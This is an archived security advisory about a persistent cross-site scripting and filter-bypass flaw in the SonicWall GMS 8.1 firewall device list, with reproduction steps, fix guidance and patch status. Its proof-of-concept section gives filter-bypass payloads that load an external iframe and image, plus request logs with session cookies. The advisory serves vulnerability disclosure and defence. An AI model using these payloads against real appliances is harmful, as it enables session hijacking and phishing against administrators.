Exploit the possiblities

SonicWall GMS 8.1 Filter Bypass / Input Validation

SonicWall GMS 8.1 Filter Bypass / Input Validation
Posted Jan 12, 2018
Authored by Benjamin Kunz Mejri | Site vulnerability-lab.com

SonicWall GMS version 8.1 suffers from filter bypass and input validation vulnerabilities.

tags | exploit, vulnerability
MD5 | 9e83435ae4f55dce2b6b81e93197ec6d

SonicWall GMS 8.1 Filter Bypass / Input Validation

Change Mirror Download
Document Title:
SonicWall GMS v8.1 - Filter Bypass & Persistent Vulnerability

References (Source):

Release Notes: http://documents.software.dell.com/sonicwall-gms-os/8.2/release-notes/known-issues?ParentProduct=867

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Vulnerability Class:

Current Estimated Price:
1.000a! - 2.000a!

Product & Service Introduction:
Dell SonicWALL`s management and reporting solutions provide a comprehensive architecture for centrally creating and managing
security policies, providing real-time monitoring and alerts, and delivering intuitive compliance and usage reports, all from
a single management interface. Whether your organization is a small- or medium-sized business, a distributed enterprise or a
managed service provider, DellaC/ SonicWALLaC/ offers software and appliance solutions to meet its needs.

The award-winning Dell SonicWALL Global Management System (GMS) provides organizations, distributed enterprises and service
providers with a flexible, powerful and intuitive solution to centrally manage and rapidly deploy SonicWALL firewall, anti-spam,
backup and recovery, and secure remote access solutions. Flexibly deployed as software, hardwareain the form of the Universal
Management Appliance (UMA)aor a virtual appliance, SonicWALL GMS also provides centralized real-time monitoring and comprehensive
policy and compliance reporting to drive down the cost of owning and managing SonicWALL security appliances. Multiple GMS
software, hardware, and virtual appliance agents, when deployed in a cluster, can scale to manage thousands of SonicWALL
security appliances. This makes GMS an ideal solution for small- to medium-sized businesses, enterprises and managed service
providers that have either single-site or distributed multi-site environments.

(Copy of the Vendor Homepage: http://www.sonicwall.com/emea/en/products/Centralized_Management_Reporting.html )

Abstract Advisory Information:
The Vulnerability Laboratory Core Research Team discovered filter bypass and an application-side input validation vulnerability in the official SonicWall GMS v8.1 appliance web-application.

Vulnerability Disclosure Timeline:
2018-01-12: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
DELL SonicWall
Product: SonicWall GMS Networks Appliance Application 8.1 (VA)

Exploitation Technique:

Severity Level:

Technical Details & Description:
A persistent web vulnerability and filter bypass issue has been discovered in the SonicWall GMS v8.1 appliance web-application.
The application-side vulnerability allows remote attacker or privileged user accounts to inject own malicious persistent script codes
to the sonicwall gms appliance web-application. The filter bypass issue allows an attacker to bypass the basic application validation.

The vulnerability is located in the `newName` and `Name` values of the `/sgms/TreeControl` module POST method request. Attackers are
able to inject own payloads as name in the firewall device name listing to compromise session data or the java module. The method to
inject is POST and the attack vector is located on the application-side of the sonicwall gms appliance web-application.

The basic fitler validation of the gms appliance web-application encodes basic strings like frames and other tags by a restriction of
privileges on execution of for example iframes. Remote attackers can bypass the validation by usage of a double path value with double
quotes. The way to bypass is very unique to the basic configuration of the appliance web-application.

The security risk of the persistent vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.1.
Exploitation of the persistent web vulnerability requires a low privileged account with restricted access and low user interaction.
Successful exploitation of the vulnerabilities results in persistent phishing mails, session hijacking, persistent external redirect
to malicious sources and application-side manipulation of affected or connected module context.

Request Method(s):
[+] POST

Vulnerable Section(s):
[+] Firewall (Device List)

Affected Module(s):
[+] ./sgms/TreeControl

Vulnerable Parameter(s):
[+] newName
[+] name

Proof of Concept (PoC):
The filter bypass issue and persistent vulnerability can be exploited by remote attackers with low privileged user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Login to the gms 8.x appliance web-application
2. Click on top the firewall module in the menu
3. Surf to the firewall device listing
4. Change the input name to a script code payload
5. Save the entry
6. Now the no privleges exception occurs, refresh
7. The code executes in the firewall device listing
8. Successful reproduce of the vulnerability!

PoC: Payload(s)
">"<iframe src=http://vuln-lab.com>
">"<img src=http://vuln-lab.com/test.png>
">"<body onload=alert(document.domain)"<"

Note: Above are the payloads to bypass the basic gms firewall list input validation and privileges module!

--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://gms.cluster.localhost:6491/sgms/TreeControl
Mime Type[text/plain]
Request Header:
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
Accept-Encoding[gzip, deflate]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
Cookie[JSESSIONID=E9D260050413E929B92A9FCD4102BFC9; SSOSESSIONID=E9D260050413E929B92A9FCD4102BFC9]
Response Header:
Status: 200[OK]
GET http://www.vulnerability-lab.com/
Mime Type[unknown]
Request Header:
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
Accept-Encoding[gzip, deflate]
Status: 200[OK]
POST http://gms.cluster.localhost:6491/sgms/TreeControl?action=getTreeData&format=json&includeNetMonitorUnits=0&saveViewID=1&doNotUpdateSessionInfo=true&_dc=1460132509332
Mime Type[application/json]
Request Header:
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
Accept-Encoding[gzip, deflate]
Cookie[JSESSIONID=E9D260050413E929B92A9FCD4102BFC9; SSOSESSIONID=E9D260050413E929B92A9FCD4102BFC9]
{"name":"">"<iframe src=http://vuln-lab.com>","id":"UT14236049472640040102377D2"}]
Response Header:
Status: 200[OK]
GET http://vuln-lab.com/
Mime Type[unknown]
Request Header:
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
Accept-Encoding[gzip, deflate]


Solution - Fix & Patch:
The vulnerability can be patched by a sanitize of the vulnerable firewall list name input. Restrict the input fields and disallow
the usage of special chars. Deny to perform requests in the java frames with another java frame or script code. Parse the vulnerable
output values in the list after saving. Implement a more secure exception-handling that logout the user on malicious interaction with
the firewall. The code can also be injected with a non administrator account without write permission. Ensure that this config is get
reset as well.

The vulnerability got patched by the sonicwall developer team during the intragtion process of the 31th october 2016 and was finally
resolved 2017 Q1 (v8.2). Please update your gms appliance web-application via service update or by manual interaction to prevent attacks.

Security Risk:
The security risk of the persistent input validation vulnerability and filter bypass issue is estimated as medium. (CVSS 4.1)

Credits & Authors:
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri [https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.] [www.vulnerability-lab.com]

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails,
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.

Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.

Copyright A(c) 2018 | Vulnerability Laboratory - [Evolution Security GmbH]aC/

SERVICE: www.vulnerability-lab.com


RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?

Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

February 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    15 Files
  • 2
    Feb 2nd
    15 Files
  • 3
    Feb 3rd
    15 Files
  • 4
    Feb 4th
    13 Files
  • 5
    Feb 5th
    16 Files
  • 6
    Feb 6th
    15 Files
  • 7
    Feb 7th
    15 Files
  • 8
    Feb 8th
    15 Files
  • 9
    Feb 9th
    18 Files
  • 10
    Feb 10th
    8 Files
  • 11
    Feb 11th
    8 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    15 Files
  • 14
    Feb 14th
    15 Files
  • 15
    Feb 15th
    17 Files
  • 16
    Feb 16th
    18 Files
  • 17
    Feb 17th
    37 Files
  • 18
    Feb 18th
    2 Files
  • 19
    Feb 19th
    11 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2018 Packet Storm. All rights reserved.

Security Services
Hosting By